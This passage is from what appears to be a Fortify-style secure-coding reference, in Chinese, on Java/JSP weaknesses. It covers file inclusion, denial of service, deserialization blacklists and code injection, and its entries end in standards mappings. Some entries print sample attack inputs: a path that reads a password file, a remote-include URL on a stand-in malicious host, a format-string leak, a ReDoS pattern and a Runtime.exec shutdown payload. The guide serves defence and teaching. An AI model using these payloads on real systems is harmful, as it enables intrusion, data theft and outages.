[20] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[21] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 116
[22] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[23] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[24] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[25] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[26] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[27] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[28] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[29] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[30] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[31] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[32] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
[33] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
Dangerous File Inclusion
ABSTRACT
如果允许未经验证的用户输入控制动态包含在 JSP 中的文件,会导致恶意代码的执行。
EXPLANATION
许多现代网络编写语言都能够在一个封装的文件内包含附加的源文件,从而使代码可以重用和模块化。这种能力经常用于赋予应用程序标准外观(应用模板),因而,人们可以共享各种功能而不需要借助编译的代码,或将代码分解成较小的更好管理的文件。各个包含文件都会作为主文件的一部分进行解析,并采用相同的方式来执行。当未验证的用户输入控制了所包含文件的路径时,就会发生 File inclusion 漏洞。
例 1:以下代码是 Local File Inclusion 漏洞的示例。示例代码采用了用户指定的模板名称,并将该名称包含在要呈现的 JSP 页面中。
1 | ... |
如果攻击者为动态包含指令指定一个有效文件,则该文件的内容会传送给将在页面上呈现的 JSP 解释器。
如果攻击者采用这种手段发起攻击,
specialpage.jsp?template=/WEB-INF/database/passwordDB
JSP 解释器就会将 /WEB-INF/database/passwordDB
文件的内容在 JSP 页面上呈现,从而对系统安全造成威胁。
更为糟糕的是,如果攻击者可以指定一条路径来指向被自己控制的远程站点,那么动态 include 指令就会执行由攻击者提供的任意恶意代码。
例 2:以下是 Remote File Inclusion 漏洞的示例。示例代码使用 c:import 标签将用户指定的远程文件导入当前的 JSP 页面。
1 | ... |
这种攻击手段
policy.jsp?privacy=http://www.malicioushost.com/attackdata.js
可从被攻击者控制的远程站点将恶意代码注入当前 JSP 页面。
RECOMMENDATIONS
不要允许未验证的用户输入控制动态包含指令中使用的路径。而应当采取一种间接手段:创建一份合法包含文件列表,仅允许用户从该列表中进行选择。利用这种方法,用户就不能直接从 file system 中指定某一个文件。
REFERENCES
[1] INPUT-1: Validate inputs Oracle
[2] Standards Mapping - Common Weakness Enumeration CWE ID 94, CWE ID 98, CWE ID 494
[3] Standards Mapping - FIPS200 SI
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-18 Mobile Code (P2)
[5] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M7 Client Side Injection
[6] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[7] Standards Mapping - OWASP Top 10 2007 A3 Malicious File Execution
[8] Standards Mapping - OWASP Top 10 2010 A1 Injection
[9] Standards Mapping - OWASP Top 10 2013 A1 Injection
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.3
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.8
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.8
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.8
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.8
[16] Standards Mapping - SANS Top 25 2009 Risky Resource Management - CWE ID 094
[17] Standards Mapping - SANS Top 25 2010 Risky Resource Management - CWE ID 098
[18] Standards Mapping - SANS Top 25 2011 Risky Resource Management - CWE ID 829
[19] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3600 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3600 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3600 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3600 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3600 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3600 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3600 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-003300 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-003300 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-003300 CAT II
[29] Standards Mapping - Web Application Security Consortium Version 2.00 Remote File Inclusion (RFI) (WASC-05)
Denial of Service
ABSTRACT
攻击者可以造成程序崩溃或使合法用户无法进行使用。
EXPLANATION
攻击者可能通过对应用程序发送大量请求,而使它拒绝对合法用户的服务,但是这种攻击形式经常会在网络层就被排除掉了。更加严重的是那些只需要使用少量请求就可以使得攻击者让应用程序过载的 bug。这种 bug 允许攻击者去指定请求使用系统资源的数量,或者是持续使用这些系统资源的时间。
示例 1:通过以下代码,用户可以指定线程处于休眠状态的时长。通过指定一个较大的数值,攻击者可以无限期地占用该线程。因此,只需少量的请求,攻击者就能耗尽应用程序的线程池。
1 | int usrSleepTime = Integer.parseInt(usrInput); |
示例 2:以下代码从一个 zip 文件中读取字符串。因为它使用 readLine() 方法,所以可以读取一批极大量的输入。攻击者能够利用该代码引发一个 OutOfMemoryException 异常,或者消耗大量的内存,从而致使程序需要更多的时间去执行垃圾信息的收集,或在随后的操作过程中用完内存资源。
1 | InputStream zipInput = zipFile.getInputStream(zipEntry); |
RECOMMENDATIONS
校验用户输入以确保它不会引起不适当的资源利用。
例 3:以下代码允许用户指定线程进入休眠的时间,如例 1 所述,但仅当数值在合理的范围之内时才会有效。
1 | int usrSleepTime = Integer.parseInt(usrInput); |
例 4:以下代码从一个 zip 文件中读取字符串,如例 2 所述,但它读取的最大字符串长度为 MAX_STR_LEN 字符。
1 | InputStream zipInput = zipFile.getInputStream(zipEntry); |
REFERENCES
[1] DOS-1: Beware of activities that may use disproportionate resources Oracle
[2] INPUT-1: Validate inputs Oracle
[3] Standards Mapping - Common Weakness Enumeration CWE ID 730
[4] Standards Mapping - MISRA C++ 2008 Rule 0-3-1
[5] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-5 Denial of Service Protection (P1)
[6] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[7] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.9
[8] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[9] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[10] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[11] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[12] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[13] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[14] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[18] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
[19] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
Denial of Service: Format String
ABSTRACT
如果允许用户输入控制格式参数,则攻击者能够借此造成异常抛出或信息泄露。
EXPLANATION
攻击者可以修改格式字符串参数,以造成异常抛出。如果未能捕获此异常,则可能导致应用程序崩溃。或者,如果其他参数中使用了敏感信息,攻击者可能会更改格式字符串以泄露此信息。
示例 1:用户可通过以下代码指定 Formatter.format() 的格式字符串参数。
1 | ... |
此程序的最初设计旨在让用户指定所显示余额的小数点。但在现实情况中,对此并没有限制。如果用户可以指定所有内容,则可能会导致抛出如 java.util.MissingFormatArgumentException 等异常。此外,由于它不在 try 块中,因此可能会造成应用程序故障。 针对此示例,更严重的情况是:如果攻击者可以指定用户输入 “2f %3$s %4$.2”,则格式字符串可能会是 “The customer: %s %s has the balance %4$.2f %3$s %4$.2”。这可能会导致敏感的 accountNo 包含在生成的字符串中。
RECOMMENDATIONS
不管什么时候,只要可以,请将静态的 format string 传递到那些接受 format string 参数的函数。如果必须动态构造 format string,则可定义一组有效的 format string,并从这组安全的 format string 进行选择。最后,请始终要进行如下校验:在所选 format string 中的格式化指示的数量符合即将进行格式化的参数的数量。
REFERENCES
[1] IDS06-J. Exclude unsanitized user input from format strings CERT
[2] INPUT-1: Validate inputs Oracle
[3] Standards Mapping - Common Weakness Enumeration CWE ID 730
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-5 Denial of Service Protection (P1)
[5] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M1 Weak Server Side Controls
[6] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[7] Standards Mapping - OWASP Top 10 2013 A9 Using Components with Known Vulnerabilities
[8] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.9
[9] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.6
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.6
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.6
[12] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[13] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[14] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[22] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
[23] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
Denial of Service: Parse Double
ABSTRACT
程序会调用解析 double 类型的方法,这会导致线程被挂起。
EXPLANATION
在实施 java.lang.Double.parseDouble() 及相关方法时出现漏洞,会导致在解析 [2^(-1022) - 2^(-1075) : 2^(-1022) - 2^(-1076)] 范围内的任意数字时挂起线程。此缺陷可被攻击者用于执行拒绝服务 (DoS) 攻击。 示例:即使程序未直接使用 double 类型,也容易受到攻击。
1 | protected void processLocale(HttpServletRequest request, HttpServletResponse response) |
在 Apache Tomcat 中实现 HttpServletRequest 时使用 parseDouble 验证“接受语言”标题的区域设置,会导致对 getLocale() 的任何调用都具有危险性。
该漏洞在 Java 版本 6 Update 23 及更早版本中存在。Java 版本 6 Update 24 或更高版本不存在该漏洞。
RECOMMENDATIONS
如果可能,请应用由 Oracle 发布的修补程序。尽可能为类似 Apache Tomcat 的易受攻击的其他产品安装修补程序。如果不可能,请务必将您的 Fortify Real-Time Analyzer(Fortify 实时分析器)安装配置为防范此攻击。如果您的程序中具有易受攻击的方法调用,可以使用 Double 来避免遭受这种攻击。但这种方法无法保证能够消除此问题。对于类似 BigInteger 的其他数字类,可使用 parseDouble() 方法实现这些类。
REFERENCES
[1] Rick Regan Java Hangs When Converting 2.2250738585072012e-308
[2] Oracle Security Alert for CVE-2010-4476
[3] Standards Mapping - Common Weakness Enumeration CWE ID 730
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-5 Denial of Service Protection (P1)
[5] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M1 Weak Server Side Controls
[6] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[7] Standards Mapping - OWASP Top 10 2013 A9 Using Components with Known Vulnerabilities
[8] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.9
[9] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.6
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.6
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.6
[12] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[13] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[14] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[22] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
[23] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
Denial of Service: Regular Expression
ABSTRACT
不可信赖数据被传递至应用程序并作为正则表达式使用。这会导致线程过度使用 CPU 资源。
EXPLANATION
实施正则表达式评估程序及相关方法时存在漏洞,该漏洞会导致评估线程在处理嵌套和重复的正则表达式组的重复和交替重叠时挂起。此缺陷可被攻击者用于执行拒绝服务 (DoS) 攻击。 示例:
1 | (e+)+ |
已知的正则表达式实现方法均无法避免这种攻击。所有平台和语言都容易受到这种攻击。
RECOMMENDATIONS
请不要将不可信赖的数据用作正则表达式。
REFERENCES
[1] Bryan Sullivan Regular Expression Denial of Service Attacks and Defenses
[2] IDS08-J. Sanitize untrusted data included in a regular expression CERT
[3] DOS-1: Beware of activities that may use disproportionate resources Oracle
[4] INPUT-1: Validate inputs Oracle
[5] Standards Mapping - Common Weakness Enumeration CWE ID 185, CWE ID 730
[6] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-5 Denial of Service Protection (P1)
[7] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[8] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.9
[9] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.6
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.6
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.6
[12] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[13] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[14] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[22] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
[23] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
Denial of Service: StringBuilder
ABSTRACT
将不受信任的数据附加到使用默认支持数组大小进行初始化的 StringBuilder 实例会导致 JVM 过度使用堆内存空间。
EXPLANATION
将用户控制的数据附加到使用默认支持字符数组大小 (16) 进行初始化的 StringBuilder 实例,会导致应用程序在调整基础数组的大小以适应用户数据时占用大量堆内存。每次新数据附加到 StringBuilder 实例时,它都会尝试使数据适应其支持字符数组。如果数据不合适,将会创建新的数组,大小为之前的两倍,而旧数组在进行回收之前,将继续留在堆中。此缺陷可被攻击者用于执行拒绝服务 (DoS) 攻击。
示例 1:用户控制的数据附加到使用默认构造函数进行初始化的 StringBuilder 实例。
1 | ... |
RECOMMENDATIONS
使用大小与预期数据的长度相当的数组初始化 StringBuilder,以减少调整支持数组大小的次数。在将数据附加到 StringBuilder 实例前,检查数据大小。
示例 2:用户控制的数据附加到使用默认构造函数进行初始化的 StringBuilder 实例。
1 | ... |
REFERENCES
[1] DOS-1: Beware of activities that may use disproportionate resources Oracle
[2] MSC05-J. Do not exhaust heap space CERT
[3] INPUT-1: Validate inputs Oracle
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-5 Denial of Service Protection (P1)
[5] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[6] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[7] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[8] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[9] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.6
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.6
[11] Standards Mapping - SANS Top 25 2010 Risky Resource Management - CWE ID 754
[12] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[13] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[14] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[15] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[16] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[17] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[18] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[22] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
Deserialization Bad Practice: Blacklist
ABSTRACT
基于防止对已知错误类(黑名单)进行反序列化而执行的防御反序列化可能会允许攻击者绕过这种防护且使其失效。
EXPLANATION
该应用程序实施了一种称为“前瞻反序列化”的防御性反序列化技术,使应用程序可以在实际反序列化类之前一窥其反序列化之后的结果。
新的小工具链、封装程序包或类可通过在其反序列化回调中执行嵌套反序列化来轻松绕过该黑名单。
RECOMMENDATIONS
如果可能,在没有验证对象流的内容的情况下,请勿对不可信数据进行反序列化。为了验证要进行反序列化的类,应使用前瞻反序列化模式。
对象流首先将包含类描述元数据,然后包含其成员字段的序列化字节。Java 序列化过程允许开发人员读取类描述,并确定是继续进行对象的反序列化还是中止对象的反序列化。为此,需要在应执行类验证和确认的位置,子类化 java.io.ObjectInputStream 并提供 resolveClass(ObjectStreamClass desc) 方法的自定义实现。
已有易于使用的前瞻模式实现方式,例如 Apache Commons IO (org.apache.commons.io.serialization.ValidatingObjectInputStream)。始终使用严格的白名单方法,以仅允许对预期类型进行反序列化。不建议使用黑名单方法,因为攻击者可以使用许多可用小工具绕过黑名单。此外,请谨记,尽管用于执行代码的某些类已公开,但是还可能存在其他未知或未公开的类,因此,白名单方法始终都是首选方法。应审计白名单中允许的任何类,以确保对其进行反序列化是安全的。
在库或框架(例如,使用 JMX、RMI、JMS、HTTP Invoker 时)中执行反序列化时,上述建议并不适用,因为它超出了开发人员的控制范围。在这些情况下,您可能需要确保这些协议满足以下要求:
未公开披露。
使用身份验证。
使用完整性检查。
使用加密。
此外,每当应用程序通过 ObjectInputStream 执行反序列化时,Fortify Runtime(Fortify 运行时)都会提供要强制执行的安全控制,以此同时保护应用程序代码以及库和框架代码,防止遭到此类攻击。
REFERENCES
[1] Fortify Software Security Research The perils of Java deserialization
[2] Fortify Application Defender
[3] Oracle Java Serialization
[4] IBM Look-ahead Java deserialization
[5] OWASP Deserialization of untrusted data
[6] Standards Mapping - Common Weakness Enumeration CWE ID 502
[7] Standards Mapping - FIPS200 SI
[8] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[9] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M7 Client Side Injection
[10] Standards Mapping - OWASP Top 10 2004 A6 Injection Flaws
[11] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[12] Standards Mapping - OWASP Top 10 2010 A1 Injection
[13] Standards Mapping - OWASP Top 10 2013 A1 Injection
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.6
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[20] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 116
[21] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3570 CAT I
[22] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3570 CAT I
[23] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3570 CAT I
[24] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3570 CAT I
[25] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3570 CAT I
[26] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3570 CAT I
[27] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3570 CAT I
[28] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[29] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[30] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[31] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
Dynamic Code Evaluation: Code Injection
ABSTRACT
在运行时中解析用户控制的指令,会让攻击者有机会执行恶意代码。
EXPLANATION
许多现代编程语言都允许动态解析源代码指令。这使得程序员可以执行基于用户输入的动态指令。当程序员错误地认为由用户直接提供的指令仅会执行一些无害的操作时(如对当前的用户对象进行简单的计算或修改用户的状态),就会出现 code injection 漏洞:然而,若不经过适当的验证,用户指定的操作可能并不是程序员最初所期望的。
示例:在这个经典的 code injection 实例中,应用程序可以实施一个基本的计算器,该计算器允许用户指定执行命令。
1 | ... |
如果 operation 参数的值为良性值,程序就可以正常运行。例如,当该值为 “8 + 7 * 2” 时,result 变量被赋予的值将为 22。然而,如果攻击者指定的语言操作既有可能是有效的,又有可能是恶意的,那么,只有在对主进程具有完全权限的情况下才能执行这些操作。如果底层语言提供了访问系统资源的途径或允许执行系统命令,这种攻击甚至会更加危险。例如,JavaScript 允许调用 Java 对象;如果攻击者计划将“ java.lang.Runtime.getRuntime().exec(“shutdown -h now”)”
指定为 operation 的值,则主机系统就会执行关机命令。
RECOMMENDATIONS
在任何时候,都应尽可能地避免解析动态代码。如果程序必须动态地解释代码,您可以通过以下方式将这种攻击获得成功的可能性降到最低:尽可能限制程序中动态执行的代码数量,将代码限制到基本编程语言的程序特定的和上下文特定的子集。程序绝对不能直接解析和执行未经验证的用户输入。而应采用间接方法:创建一份合法操作和数据对象列表,用户可以指定其中的内容,并且只能从中进行选择。利用这种方法,就绝不会直接执行由用户提供的输入。
REFERENCES
[1] INJECT-8: Take care interpreting untrusted code Oracle
[2] INPUT-1: Validate inputs Oracle
[3] Standards Mapping - Common Weakness Enumeration CWE ID 95, CWE ID 494
[4] Standards Mapping - FIPS200 SI
[5] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[6] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M7 Client Side Injection
[7] Standards Mapping - OWASP Top 10 2004 A6 Injection Flaws
[8] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[9] Standards Mapping - OWASP Top 10 2010 A1 Injection
[10] Standards Mapping - OWASP Top 10 2013 A1 Injection
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.6
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[17] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 116
[18] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3570 CAT I
[19] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3570 CAT I
[20] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3570 CAT I
[21] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3570 CAT I
[22] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3570 CAT I
[23] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3570 CAT I
[24] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3570 CAT I
[25] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[26] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[27] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[28] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
Dynamic Code Evaluation: Code Manipulation
ABSTRACT
如果允许未经验证的用户输入影响动态执行代码的运行时环境,会让攻击者有机会执行恶意代码。
EXPLANATION
许多现代编程语言都允许动态解析源代码指令。这使得程序员可以执行基于用户输入的动态操作。当程序员允许某些用户提供的数据改变动态执行代码的运行环境的某一方面时,就会发生 code manipulation 漏洞。若不经过适当的验证,用户指定的操作可能并不是程序员所最初期望的。
示例:在此示例中,应用程序从 Web 应用程序中检索脚本执行范围。
1 | ... |
当 page_scope 参数是期望的用户名时,程序将正常运行。但是,如果攻击者为 GLOBAL_SCOPE 指定值,则上述操作将访问同一 ScriptEngine 创建的所有引擎内的所有属性。
RECOMMENDATIONS
在任何时候,都应尽可能地避免解析动态代码。如果程序必须动态地解释代码,您可以通过以下方式将这种攻击获得成功的可能性降到最低:尽可能限制程序中动态执行的代码数量,将代码限制到基本编程语言的程序特定的和上下文特定的子集。程序绝对不能直接解析和执行未经验证的用户输入。而应采用间接方法:创建一份合法操作和数据对象列表,用户可以指定其中的内容,并且只能从中进行选择。利用这种方法,就绝不会直接执行由用户提供的输入。
REFERENCES
[1] INPUT-1: Validate inputs Oracle
[2] Standards Mapping - Common Weakness Enumeration CWE ID 94, CWE ID 494
[3] Standards Mapping - FIPS200 SI
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[5] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M7 Client Side Injection
[6] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[7] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[8] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1
[9] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[13] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 116, Risky Resource Management - CWE ID 094
